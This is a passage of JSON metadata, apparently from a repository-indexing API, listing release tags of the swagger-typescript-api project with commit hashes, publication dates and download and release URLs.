https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.4/manifests"},{"name":"v13.6.3","sha":"367ada96152512eb083d937a0e3fd5931cc10bdf","kind":"tag","published_at":"2026-03-12T14:34:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.3/manifests"},{"name":"v13.6.2","sha":"a625cc9697a6781b4521124ce6187bf23758c992","kind":"tag","published_at":"2026-03-12T07:30:21.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.2/manifests"},{"name":"v13.6.1","sha":"9cfa1ddf9e3255b066c003d8c36a1c1eac6a8a97","kind":"tag","published_at":"2026-03-12T06:50:39.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.1/manifests"},{"name":"v13.6.0","sha":"401e9af16e57d1670f59388da985ddcffe056cb6","kind":"tag","published_at":"2026-03-11T18:22:55.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.6.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.6.0/manifests"},{"name":"v13.5.0","sha":"a576df4f2b471d8d1a0608dc4858e7c726cfb304","kind":"tag","published_at":"2026-03-11T14:56:22.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.5.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.5.0/manifests"},{"name":"v13.4.0","sha":"734bac71e8e72102c44a2e571a949721ed379091","kind":"tag","published_at":"2026-03-11T09:08:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.4.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.4.0/manifests"},{"name":"v13.3.1","sha":"5d2d5b85c752b938a277f403e007e2ef3356e57d","kind":"tag","published_at":"2026-03-08T09:42:14.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.3.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.3.1/manifests"},{"name":"v13.3.0","sha":"5ecc3e6f9147915ef20e7595eb9859177979503b","kind":"tag","published_at":"2026-03-04T09:08:53.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.3.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.3.0/manifests"},{"name":"v13.2.18","sha":"fd3654393cefb2c0d16285c36444e04e1db880a9","kind":"tag","published_at":"2026-02-14T06:45:44.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/v13.2.18","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/v13.2.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@v13.2.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.2.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/v13.2.18/manifests"},{"name":"13.2.17","sha":"7c50e4387d525e8e32b572b4b1c0617e66666756","kind":"commit","published_at":"2026-02-08T02:08:02.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.17","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.17/manifests"},{"name":"13.2.16","sha":"a590fe867d3f249b2fa1e724b6509d61d939c06b","kind":"commit","published_at":"2025-10-21T16:13:39.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.16","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.16/manifests"},{"name":"13.2.15","sha":"99d1bfb7d49023b0a81eada63d9c2e0565cd43af","kind":"commit","published_at":"2025-10-08T09:06:22.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.15","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.15/manifests"},{"name":"13.2.14","sha":"e027a454c72638eaf775a79a6e9ddc1cf876cf9b","kind":"commit","published_at":"2025-10-04T00:01:53.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.14","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.14/manifests"},{"name":"13.2.13","sha":"1b274053396afc0a0625096db358a285ee5e4cc1","kind":"commit","published_at":"2025-09-18T22:17:21.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.13","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.13/manifests"},{"name":"13.2.12","sha":"6b9384435fed06d3dc01985a0084cc97e0f7f312","kind":"commit","published_at":"2025-09-18T21:37:52.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.12","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.12/manifests"},{"name":"13.2.11","sha":"5784c7fe79abfd850ce6bf4fecdbf077d4edf259","kind":"commit","published_at":"2025-09-18T03:21:33.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.11","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.11/manifests"},{"name":"13.2.10","sha":"32105fa804a02ca108387af659e28545f0fcdc09","kind":"commit","published_at":"2025-09-15T11:42:08.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.10","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.10/manifests"},{"name":"13.2.9","sha":"7353f6d85fea23164527be668c3df5f1c45bb718","kind":"commit","published_at":"2025-08-28T11:36:16.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.9","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.9/manifests"},{"name":"13.2.8","sha":"ba1405a7f5243a917a28a9d4f33b56fe7a24133b","kind":"commit","published_at":"2025-08-08T11:41:34.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.8","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.8/manifests"},{"name":"13.2.7","sha":"65e569231a7d6ec92708a1e61465474e28555187","kind":"commit","published_at":"2025-06-25T14:49:00.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.7","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.7/manifests"},{"name":"13.2.6","sha":"656223edb1b50bc24097e57edbd47dedb52f4b1b","kind":"commit","published_at":"2025-06-25T13:43:30.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.6","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.6/manifests"},{"name":"13.2.5","sha":"12397992e8cbbe5ee1b1a85b8e12f205c0034ab6","kind":"commit","published_at":"2025-06-24T12:50:25.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.5","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.5/manifests"},{"name":"13.2.4","sha":"85759518bfc25d4f38e99449f43c381926b07312","kind":"commit","published_at":"2025-06-23T15:59:31.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.4/manifests"},{"name":"13.2.3","sha":"7e14078d0650e328bfcf061abe89a2e97af0f599","kind":"commit","published_at":"2025-06-17T16:39:33.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.3/manifests"},{"name":"13.2.2","sha":"13ef8c928f8d171ceb53339ef6d04c74fda915f6","kind":"commit","published_at":"2025-06-15T17:03:16.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.2/manifests"},{"name":"13.2.1","sha":"9950c7f82d1c3ac74862d4c1785330ceefeca951","kind":"commit","published_at":"2025-06-08T16:38:38.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.1/manifests"},{"name":"13.2.0","sha":"5df5d2ae9846a0a678ab42de7596008c8f22f196","kind":"commit","published_at":"2025-06-04T09:53:30.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.2.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.2.0/manifests"},{"name":"13.1.3","sha":"321eb9f217c148e09d75d3ccbf13164807984f0d","kind":"commit","published_at":"2025-05-03T05:11:02.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.1.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.3/manifests"},{"name":"13.1.2","sha":"973d6555b79dca207aaa7b686c8d9e5ce27f71e8","kind":"commit","published_at":"2025-05-02T11:27:10.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.1.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.2/manifests"},{"name":"13.1.1","sha":"101f980759cc236da2402eda695f4ce994698bce","kind":"commit","published_at":"2025-04-14T02:15:51.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.1.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.1/manifests"},{"name":"13.1.0","sha":"12c9d602a67642d01f8cb74f17015680c1c5fca0","kind":"commit","published_at":"2025-04-12T04:20:26.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.1.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.1.0/manifests"},{"name":"13.0.28","sha":"b45bd3738e6cef2e8270e43f9527f7cdd7c4f258","kind":"commit","published_at":"2025-03-25T20:20:09.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.28","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.28/manifests"},{"name":"13.0.27","sha":"bf2ba076ac8a8f4c36fc1ce7ca3a1abd548a5c81","kind":"commit","published_at":"2025-03-24T17:03:38.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.27","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.27/manifests"},{"name":"13.0.26","sha":"ecdceaf205e446ce1f5d3ecc0eb0606a642be3b6","kind":"commit","published_at":"2025-03-24T09:21:37.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.26","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.26/manifests"},{"name":"13.0.25","sha":"44539f3912caeaa3f0e23fa45859cd264dd1bde0","kind":"commit","published_at":"2025-03-23T23:12:45.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.25","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.25/manifests"},{"name":"13.0.24","sha":"14078b54d9306522fed15bfb599749561e4e9792","kind":"commit","published_at":"2025-03-22T12:10:48.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.24","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.24/manifests"},{"name":"13.0.23","sha":"5a00cd50a547f42a23cfcf77b973657cad1baec4","kind":"commit","published_at":"2024-11-13T19:48:19.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.23","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.23/manifests"},{"name":"13.0.22","sha":"da2e3f04dc146382d3e3dfb84e02c28368c68356","kind":"commit","published_at":"2024-08-25T07:52:36.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.22","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.22/manifests"},{"name":"13.0.21","sha":"6a6351c58f15d6a9110550f1e1c071926454c299","kind":"commit","published_at":"2024-08-13T03:33:05.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.21","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.21/manifests"},{"name":"13.0.20","sha":"d1987b9ef9941851b7b29fbc14f1a9fb24ee16da","kind":"commit","published_at":"2024-08-13T02:25:13.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.20","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.20/manifests"},{"name":"13.0.19","sha":"d853e9aa9fc8de06c839f55b39421d5c6ab19ffa","kind":"commit","published_at":"2024-08-11T03:27:00.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.19","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.19/manifests"},{"name":"13.0.18","sha":"1ee161facd8aa1fad675719abf03c5241a9682ef","kind":"commit","published_at":"2024-08-11T02:26:58.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.18","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.18/manifests"},{"name":"13.0.17","sha":"817fcd19a56ce917a048e2f288c043ce5b9dc53c","kind":"commit","published_at":"2024-08-11T02:24:08.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.17","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.17/manifests"},{"name":"13.0.16","sha":"5a860d77c951c5cce62d7771f149d0eeb8d2bcd6","kind":"commit","published_at":"2024-08-02T17:32:44.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/13.0.16","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/13.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@13.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/13.0.16/manifests"},{"name":"13.